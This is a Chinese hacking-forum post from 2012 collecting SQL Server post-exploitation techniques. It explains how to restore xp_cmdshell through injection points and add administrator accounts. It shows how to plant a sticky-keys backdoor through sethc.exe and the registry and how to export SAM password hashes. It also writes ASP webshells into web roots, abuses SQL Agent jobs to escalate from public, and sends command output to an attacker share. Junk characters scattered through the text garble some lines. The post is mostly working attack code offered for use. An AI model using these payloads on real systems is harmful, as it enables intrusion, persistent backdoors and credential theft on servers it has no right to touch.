找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2414|回复: 0
打印 上一主题 下一主题

XP_CMDSHELL恢复方法大全

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:37:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1 未能找到存储过程'master..xpcmdshell'.  EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号
2 e& T* |) j1 m& c恢复方法:查询分离器连接后,9 a4 z+ T& |# l% K5 Y% ]
第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
0 U& u; S2 o1 m) L. i4 K第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll' ' P; l* n) D5 a7 m
然后按F5键命令执行完毕' a0 i7 f( F1 I1 B
" ?7 `$ ]4 c6 e- Y
2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)7 F% i+ O4 f2 z  T
恢复方法:查询分离器连接后,7 b( v4 S* D4 E3 e: p0 R. z
第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell"
& D2 A- V. W3 c8 `" V7 k1 q第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
" V. \1 h& U& R" r然后按F5键命令执行完毕
8 m7 ~6 B1 K- o& A) n, p* t- H; O2 t2 S
3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)/ R- U7 X: k2 {5 I! @% z+ j7 H
恢复方法:查询分离器连接后,
0 b: j& {* l: Y$ r第一步执行:exec sp_dropextendedproc 'xp_cmdshell'# S3 d5 Q. P- A/ {7 U
第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'      
9 J2 n% \3 q' a) j! ^然后按F5键命令执行完毕. w7 N" o5 ], }% i, i$ |% m5 L
, x! |& p8 P' R; d; q
4 终极方法., b3 \/ r: G+ U  q& r
如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
; x0 e1 ?! u2 E0 u5 v查询分离器连接后,
/ \; G' v; R6 n/ X  Q0 I3 u% ^. L: Z2000servser系统:% v0 Q1 Z% D: h1 x
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'- K2 g7 y$ w) q0 L
, T( U. e1 B# J% S% p
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'
1 p$ L3 h5 j! b( n# F5 A
/ ~. e2 ~5 ~+ V2 R3 yxp或2003server系统:( ?: L. b* a. n" O5 y1 `
) c0 [  H) C- G
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'
. N6 |9 [) Y# y2 s" s8 O4 Z9 v- e) u. \5 L  C; n
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'- d; B# m5 i, n" N

) X; m$ F2 Q+ K# j" ?+ Q2 p" Z' k$ L1 }  u3 o, n) H8 U% C0 o6 v
五个SHIFT' X1 }- O" `: @) J
declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';: R/ F# K  s' Q6 L$ i2 B* f
/ ]  \) V; L2 L* t* P( {
declare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
. c( w9 Z  N: t/ k3 i8 X: l" C. @0 b5 x' U9 E& A% c
xp_cmdshell执行命令另一种方法
: T% z7 t# K; e! I& hdeclare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add' , C& p; A' g6 ^$ `

0 h- A# \' h9 s5 [9 Z! ^判断存储扩展是否存在% A& a' ?7 D$ a
Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'4 d" R; w8 |- Z
返回结果为1就OK
' l, i/ G3 I  Y2 W0 f) X5 M7 A' C' D% l3 f# [0 G: x+ e

- [" e9 |' m6 |' t/ q4 d上传xplog70.dll恢复xp_cmdshell语句:
( U! h' P- j; V, v6 w$ W9 B: E: Ksp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL', l8 J* P0 B$ U6 \

( l& }% d5 h7 I$ w4 o9 A1 i否则上传xplog7.0.dll, l7 _4 f: \$ x" D1 v
Exec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'& b9 |; v1 g: t+ u& k# |, f3 k

& m+ f- }& D' t; ^  f5 t( F1 U, D. A- B( g9 M- F$ K* o

4 N# [* U2 d+ a% [, e首先开启沙盘模式:7 l" ^6 o% \: C: P: F5 I7 E
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1/ \4 d9 }3 H0 r. U# p

: [! ~5 O' ~9 D  p然后利用jet.oledb执行系统命令: v! r0 M6 ?6 X: ~
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")'): Z; ]  N% o& @, r  x. }
返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1--  发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了
; k) s' i7 D% B% b$ h" A; Q3 a2 a+ @! C, A( s& s

# T( h' N$ P* f
! s7 K& U: C3 w' ~: \( X恢复过程sp_addextendedproc 如下:
0 {/ K" Q2 [6 f. Vcreate procedure sp_addextendedproc --- 1996/08/30 20:13
( D* x$ G# [2 }# V. \; B, P@functname nvarchar(517),/* (owner.)name of function to call */
7 \9 s8 J& Y3 l8 A% F: t( {& ~@dllname varchar(255)/* name of DLL containing function */ ; y( C. O* O# s
as * T) w: P* ^; G! m
set implicit_transactions off & N/ c2 n* O% B+ q. A/ O
if @@trancount > 0
1 V( _. V1 i2 ?& q( _begin
6 |; P; q7 F# M4 c5 zraiserror(15002,-1,-1,'sp_addextendedproc') 5 K3 H. h. s5 O9 y9 |
return (1)
) h% z* i" T& M' N) e# F) gend   g# G3 c/ F9 `5 S* M" o
dbcc addextendedproc( @functname, @dllname) 5 t9 J; u, l1 I) M9 z5 Q
return (0) -- sp_addextendedproc
; r% S0 [1 `& E6 [+ uGO
/ a3 z( {, Z- z7 Q4 k
0 A6 I* F' M! _  D$ P& k- @- \
: G7 T/ N. a1 X! D% V
( h0 ?, U6 x& _- G7 |) \9 r导出管理员密码文件
- e7 k1 Z- Q6 |2 {- O6 E  Csa默认可以读sam键.应该。* \! U4 D4 I( g+ ?/ r; ^
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg
( ]. n. z8 w3 gnet user administrator test
4 X4 A. G" y2 ]  A9 w用administrator登陆.8 b; i  }/ V, H% t( n) a; I9 E
用完机器后9 p& w' U  s2 q  G; O' {
reg import c:\test.reg
5 q) P! T. p* X根本不用克隆.; W6 R, }8 U0 j0 Q- F; }
找到对应的sid. ! v+ U5 s/ t+ a; p, ^6 w5 D

* N4 _/ }4 z- w7 Y6 t6 [! o5 [- |0 [$ ~% _% D) o  A0 \( E

5 K& k% J2 l+ G8 C( J4 D" ^恢复所有存储过程
6 U& H% H2 E& Z+ p, f0 Y: iuse master
; o+ }' X: i7 S, ?, j( vexec sp_addextendedproc xp_enumgroups,'xplog70.dll' # [% a* G% T3 D- o
exec sp_addextendedproc xp_fixeddrives,'xpstar.dll' $ y$ e7 ?2 a/ W; C
exec sp_addextendedproc xp_loginconfig,'xplog70.dll' 5 V; X6 F# m2 J( L; Z
exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll' 8 i% B0 ^; H+ V9 a$ O, I
exec sp_addextendedproc xp_getfiledetails,'xpstar.dll' $ s+ y  L( d# X
exec sp_addextendedproc sp_OACreate,'odsole70.dll' $ @- s3 d  D( G7 J9 {1 L! [# w1 T1 U
exec sp_addextendedproc sp_OADestroy,'odsole70.dll' 9 L" c' d  ~: @- z3 Y1 P4 p
exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'
" S4 K& w6 [0 r- l: ]0 [; {; u1 fexec sp_addextendedproc sp_OAGetProperty,'odsole70.dll'   {' {! q0 Y9 E% v0 @6 v
exec sp_addextendedproc sp_OAMethod,'odsole70.dll' 2 p/ w6 M0 \8 j& c, y3 g: {7 N+ L" b
exec sp_addextendedproc sp_OASetProperty,'odsole70.dll' ! v7 d- i* J0 F" d& u
exec sp_addextendedproc sp_OAStop,'odsole70.dll' 8 H& t( x/ M2 Q5 ]9 S0 T$ t6 ]
exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll' 9 R/ _& b, b5 z) f5 Q* y1 n; B" z
exec sp_addextendedproc xp_regdeletekey,'xpstar.dll' 5 c0 H, X) B2 r9 Z6 x9 F
exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll' ) ~, P" o; c2 d5 y! B0 I6 v, z
exec sp_addextendedproc xp_regenumvalues,'xpstar.dll'
2 I- X4 B, I4 wexec sp_addextendedproc xp_regread,'xpstar.dll'
3 Z+ a8 t  B: n4 W( N- P* z2 texec sp_addextendedproc xp_regremovemultistring,'xpstar.dll' % [% r  o- }. I/ T% J
exec sp_addextendedproc xp_regwrite,'xpstar.dll' , v2 h4 n/ _. ]/ i, g# J
exec sp_addextendedproc xp_availablemedia,'xpstar.dll'
" h& Q1 ?$ x' _2 M) k7 t
3 |0 G' L: f! y, C
3 R2 q" ^* P+ s2 E4 `建立读文件的存储过程
. Y+ u% K5 a7 }7 o3 P* x. HCreate proc sp_readTextFile @filename sysname
2 P) y, e8 X( \$ ]9 A$ sas8 l; q" p# i9 c& D8 |
  L) V! c  e3 c. g2 G" N2 y: j
    begin 8 ]0 A6 ]$ _& W! F
    set nocount on
: G7 P) n; v* _0 T* J. y* m    Create table #tempfile (line varchar(8000))
8 A7 @' E& ^2 [* s# d- C    exec ('bulk insert #tempfile from "' + @filename + '"')
* Z! J2 s1 ?  b/ E    select * from #tempfile! X# w: @) E( E: p3 n+ g# X
    drop table #tempfile
( |( O) B" E- `2 @, j) `4 H4 HEnd
. n1 o. P6 H' Q8 ?# F5 J/ L- k
( X+ [# q" J$ s. K3 q- oexec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件
2 A1 O$ w! \# s" d查看登录用户  V2 b8 d# y3 |5 z$ k( d6 y
Select * from sysxlogins+ [; o, w& F' {2 c$ Y5 a# m, O
* H/ h. _. k0 B' v8 I& M
把文件内容读取到表中- f3 r# K7 i: K4 p& v- B. j
BULK INSERT tmp from "c:\test.txt"
/ k& u/ \4 ?+ [dElete from 表名 清理表里的内容: d+ d/ s7 C' ]6 a- k8 l( P
create table b_test(fn nvarchar(4000));建一个表,字段为fn
( Q' Z0 @) u5 J8 F1 Q# t$ j
1 h8 v# R) q2 E% l$ l5 `
% c4 D& x( ?1 i( g  j: O加sa用户
5 V' g8 F0 H' m) s. `  Qexec master.dbo.sp_addlogin user,pass;
3 K9 a( _4 ~8 ~) R6 Dexec master.dbo.sp_addsrvrolemember user,sysadmin
  o- s: p  ]3 g7 S% c
9 P; @6 J0 M: L; c3 d$ z6 ^" U, Y4 U6 A/ q* H

' ~9 F# d- N. W9 ?- E& {% e5 i读文件代码; s* i) W9 H% @. C" d
declare @o int, @f int, @t int, @ret int! R: n- |4 C8 |! G( ~. x
declare @line varchar(8000)
7 E2 k" k' [/ x' h! h* b3 z+ W- ]exec sp_oacreate 'scripting.filesystemobject', @o out) f6 q# H0 C" u* O" r3 b& r
exec sp_oamethod @o, 'opentextfile', @f out, '文件名', 1" q' }% \4 h6 a- N! Z
exec @ret = sp_oamethod @f, 'readline', @line out0 L3 p$ W8 q) B$ W" E) I
while( @ret = 0 ); d5 M6 R2 \1 H' h: ]& |/ t% d
begin' I3 m4 M  ^1 S1 H- h) H, b
print @line7 r& s$ ~% L- ~* [
exec @ret = sp_oamethod @f, 'readline', @line out, Z1 P; M9 I' V/ A) O9 O. y
end
$ {5 Q, P' \0 x3 R+ v# G
: X5 G! ~$ y( I) }* t* f: M0 p8 F/ G# t* Y$ [. l4 k: I; m1 t
写文件代码:/ C6 w6 S' D7 y
declare @o int, @f int, @t int, @ret int- x% I$ a  }. H: a( V
exec sp_oacreate 'scripting.filesystemobject', @o out
% C' ~: S( Y9 g$ ~/ x6 F5 @8 eexec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 1* y* {, G, z0 G, ?
exec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》
' i4 ]4 ]1 Z& R: L" A9 X+ ~5 C2 p/ ~0 F1 _/ j, _0 a# w' f

# C- c+ @' p, F# ~1 m添加lake2 shell
% S3 v, l9 z1 d! qsp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll'
: y" U# Y2 R* I- }* Y8 Osp_dropextendedproc xp_lake24 P: B( R- E; z" {8 R2 E, X+ U
EXEC xp_lake2 'net user'7 ~* |4 R2 x9 e. |" ]5 J8 x
# W+ q- x- g% E5 b0 }7 Q7 L, s

; Q+ c+ P2 \4 U& q得到硬盘文件信息 ! z6 T5 R/ H. B
--参数说明:目录名,目录深度,是否显示文件
& m- K) c3 h3 G8 \( dexecute master..xp_dirtree 'c:'
% |# ~6 q. e3 c3 A# P, Texecute master..xp_dirtree 'c:',1
5 G4 \7 L6 W# R( j! {3 |$ }) Kexecute master..xp_dirtree 'c:',1,1 - f) M  p1 G3 c( k% a
" i/ }+ ]: c+ m+ ~: _
% X1 x" I0 u0 s
读serv-u配置信息$ B% g+ J6 p2 f" t7 {, _
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt'
- p; M7 {# a+ I, f( ]8 lexec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini'
) Y8 m8 A5 V/ ]9 J: Z/ B) q, I! m1 i3 w* a, K% {/ B1 F! S% E
通过xp_regwrite写SHIFT后门
2 b/ [9 u1 U- T4 l$ C- b2 vexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--2 ^  f" W- U6 F4 d
- R9 u5 d- q, [# \

) l3 x# q) g5 M$ W, L  u" \* o) u7 b4 F# K; R+ P+ }$ T) t
找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\www.xx.com';0 ]" _% g4 g8 i! r" |: G
exec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了
& H" [5 H& p: N! G% q' w' N$ a2 B4 S. m, c* N. U
EXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表') e) |. Y  p2 ?
* O; B. o7 E+ Y6 r: ?/ G* {6 y

" H: u  b2 n0 L" A1 o+ E; G% u3 |3 n( l
sql server 2005下开启xp_cmdshell的办法
5 C+ h  ^" e# m. Q6 {' f, v! L
, C+ O* O9 G! U; A7 o; Y7 n8 pEXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;, r) N& w1 a- Z! l- a& f3 u

1 c2 S. r# G3 m1 w) e; WSQL2005开启'OPENROWSET'支持的方法:! L8 n3 v0 ]# `2 M" f* W) w

+ d0 t, y5 N  ^" Pexec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
2 A4 i, S1 r) p  g& c
7 v0 E" G% {; [) |0 S2 F  vSQL2005开启'sp_oacreate'支持的方法:
; }+ d; ^9 p+ J' b8 Z$ h6 g3 m* l8 m' S  R( l. [  z
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;( m% K2 ^& t7 d3 _4 P$ X: [
9 B, T6 N+ ]! B3 Y: H" g* X

# F$ @8 G7 A: @6 ~1 p  }! ]% ?/ T7 m2 _+ K0 f4 G
4 l- w' _. Y( \, G8 w" B4 B
" L1 @7 ^1 @# [9 }! n0 U: Y* f" ]

* Y+ r" x9 H8 N6 y& U7 z
1 _3 D5 ?+ F, a7 n! Z) P' J) {( w( p+ g

! u, B' o, X: f- ?  d; k# B# k: d: v2 Q' M+ i. t
, y+ `; `, H, |' ~1 f0 T3 I+ a
2 [7 n' o& \; g# e1 F
& ]+ F) U" w& J$ c6 c% ]
4 k  T: g# [- m# y/ b9 t& n3 \: l, I8 K

. p& i$ W; P2 t7 U+ S( i; @0 [. a# n7 u0 }; q) ?/ Y  c
- e5 H4 K9 K) W! j9 }! F
& i3 {. X8 Q) m5 n/ D" _

# |. ?+ D, G2 A6 r' L
3 q  Y  @) |  d6 D6 z+ L
0 U  i* r0 L# H6 Y/ A
( f$ D0 N+ W. v& `( H
  V' `# ^- k  R9 i* D# ~" C* Z8 L" N6 H3 H% w
以下方面不知道能不能成功暂且留下研究哈:
  ^5 O6 t4 u; L% e1 h4 W7 q$ k4)
6 {5 Z. g. F" b7 Cuse msdb; --这儿不要是master哟
( o3 m) Z0 M5 {; m) B7 h2 I; zexec sp_add_job @job_name= czy82 ;5 w% F% y& g3 ], Y1 t  x* r
exec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;, t- E! C* `! Y9 L. Y( a  _
exec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;8 g/ Q% Z- e. g& \3 D  \
exec sp_start_job @job_name= czy82 ;
1 p( q0 \0 v/ P: L
9 V* a% k1 }. m; w6 l+ R利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以. g8 J! Z' q6 X: J$ z$ M& \- }0 \
执行tsql语句了.. W( v2 [+ ~  H. a. |0 @
对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名
# j3 u- V2 _: V6 @第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)
% `% m6 I$ H( m! t4 D! M" `1 D- bnet start SQLSERVERAGENT  z9 G2 s0 {5 e0 Y# E
0 ~5 t  ?$ F. `0 T
对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的
+ a- F  q) w/ bUSE msdb  e! g6 B( D( ^, s. p2 X1 d0 r6 c1 t
EXEC sp_add_job @job_name = GetSystemOnSQL ,$ {8 \# y' W; I$ Y
@enabled = 1,2 H$ x1 ^- v: h+ E% |
@description = This will give a low privileged user access to2 Q' i) V" z- b! @7 B
xp_cmdshell ,8 h% b) L$ n5 T9 D1 z5 \  i: ]+ V
@delete_level = 16 O4 N+ r  U3 U2 O3 N
EXEC sp_add_jobstep @job_name = GetSystemOnSQL ,
* t  g* P3 z0 T3 {7 f  X( j9 m/ Q5 I@step_name = Exec my sql ,
% P! X* ]2 b8 [) I6 Z9 ]@subsystem = TSQL ,4 L8 K1 a0 g1 v: i, ^. l+ C5 V
@command = exec master..xp_execresultset N select exec" E0 W! {. p4 G2 y8 Q
master..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master , H) T" X0 \( |% H0 R! _
EXEC sp_add_jobserver @job_name = GetSystemOnSQL ,2 v  p+ |4 v  ]$ ~* a0 w' R
@server_name = 你的SQL的服务器名 2 p4 ^; V" N4 R! F9 e5 R
EXEC sp_start_job @job_name = GetSystemOnSQL 7 I0 V8 B/ }! o6 N: B! ]

7 j! N6 C* r" Y不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以, b3 a: k" G/ g7 B8 }  Q
才让我们可以以public执行xp_cmdshell9 D4 t+ j) E7 l% Q
0 N% s  v& P4 i4 d
5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)
& `! X2 ^6 C8 ~, j8 Z/ q3 e在安焦有文章:http://www.xfocus.net/vuln/vul_view.php?vul_id=2968* d: X4 l1 z' s: @8 `) S; w
- d5 ?0 k- t* _, s$ Y! P$ A4 X4 _
USE msdb& @1 a5 I* t! k0 m  ]
EXEC sp_add_job @job_name = ArbitraryFilecreate ,
$ E: L4 i9 U( U4 v! b4 P@enabled = 1,7 t2 R0 \7 K% W* F% m
@description = This will create a file called c:\sqlafc123.txt ,
) w) F7 {" B! O0 V@delete_level = 1! s1 z9 S( J; L3 x5 x# u5 p
EXEC sp_add_jobstep @job_name = ArbitraryFilecreate ,
9 M+ Y# Q: a' U@step_name = SQLAFC ,
  @: \( i5 q# D/ I@subsystem = TSQL ,0 v9 ~" h1 T3 U1 \
@command = select hello, this file was created by the SQL Agent. ,
6 j: j7 R# o( H$ _, i8 }@output_file_name = c:\sqlafc123.txt & G& G. i) S$ U+ t# R& U
EXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,
! V% F  v" V4 ?% a@server_name = SERVER_NAME 9 B4 P  ~& k% m% m% M; U, u
EXEC sp_start_job @job_name = ArbitraryFilecreate
0 O4 S% R: @5 N3 T- f' F; G6 Y9 j$ P; @
如果subsystem选的是:tsql,在生成的文件的头部有如下内容9 f" o" p' A7 X$ [8 n9 }" s( t6 g
& S$ B! ?7 g8 o" r# D
??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:199 H# U) l1 L  u* x+ w: [/ m) p8 @
----------------------------------------------" T5 n6 y; `+ y( Y* I9 q
hello, this file was created by the SQL Agent.
% T- d+ n$ V) V& C0 ^# p$ Q: A, Y8 \4 r' M' r% u! r
(1 ?????)4 B* U' D( {: n' o" ?* G

( X8 ~" t% q7 D% O, G2 h6 ?所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员% x) _& Z8 V; M+ o; y: Z5 _
命令的vbs文件到启动目录!" ~* m% J  r# G7 E) [
- @8 d( a  {% o4 k
6)关于sp_makewebtask(可以写任意内容任意文件名的文件)) ?' b. ~' ?0 n; V  b- k
关于sp_MScopyscriptfile 看下面的例子: ]' b* U' c! R7 f) h8 g' b
declare @command varchar(100) : m3 h. g  y* o& G: m+ Q7 h5 L. v
declare @scripfile varchar(200)
3 E& d0 [+ x) {. j; K2 hset concat_null_yields_null off 2 V; ]1 {% ~! C" v1 i' r9 D, j" Q
select @command= dir c:\ > "\\attackerip\share\dir.txt"
# |0 H/ k) ~' H' N  h: Uselect @scripfile= c:\autoexec.bat > nul" | @command | rd "
4 o. t4 ]' v& y# F; ?; t$ Aexec sp_MScopyscriptfile @scripfile , # q# K  x5 ^" u% B' S) b  F
* B/ |8 u" Q5 E: ~+ k/ x# m9 B6 w
这两个东东都还在测试试哟7 h9 z4 j3 @: S% U
让MSSQL的public用户得到一个本机的web shell
0 p4 \; D  I7 V. t: [  B  h; s
2 A$ j  S! y- Y* i% ~7 g2 B- S5 }sp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312,
7 _3 o' A0 T3 W4 Q  X--@query= select <img src=vbscript:msgbox(now())> 8 V' H7 c. r1 j! a- M9 V+ k5 n$ n
--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%>
! j: ?! w7 D  S  Y@query= select ) I+ a+ v! ~( p
<%On Error Resume Next
( k4 t) v1 {3 n# S2 g% z- o/ OSet oscript = Server.createObject("wscript.SHELL") : e. v6 t7 S( o" w4 u0 h
Set oscriptNet = Server.createObject("wscript.NETWORK")
- `( A2 T% c, h( c' m- y3 LSet oFileSys = Server.createObject("scripting.FileSystemObject")
* @  \( _7 U( m* v: t8 i- @szCMD = Request.Form(".CMD") 4 m( L! m0 ]+ Y$ [. A2 G: K9 k
If (szCMD <>"")Then # ?; r  E$ [; i) J7 T
szTempFile = "C:\" & oFileSys.GetTempName() " N/ |8 T: i. `" B  a6 t* m
Call oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True) ! A8 Y/ h' ?( ^+ z8 Z
Set oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0)
% {/ R' p' I- S# j6 q/ a" rEnd If %> " D( |6 {; q! r2 c5 u
<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method="OST"> : a/ S* G, O; k; b$ v. _
<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run"> # J# i/ \& n; K3 [
</FORM><RE>
9 c; Z7 ]- O, l' x. ^9 i<% If (IsObject(oFile))Then . F9 w9 {. E- H3 j9 h
On Error Resume Next ; r, `; {" Y- @! b0 c) h
Response.Write Server.HTMLEncode(oFile.ReadAll)
9 `6 N' f, M  }, O9 e- G- RoFile.Close
4 c( c5 X+ p+ f! y2 LCall oFileSys.deleteFile(szTempFile, True)
. ?. Y  \. Q$ j# D, {. DEnd If%>
$ [2 r3 \0 Q! W5 e1 L! Q' i</BODY></HTML> & E5 P/ z  Y: M. w" b
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表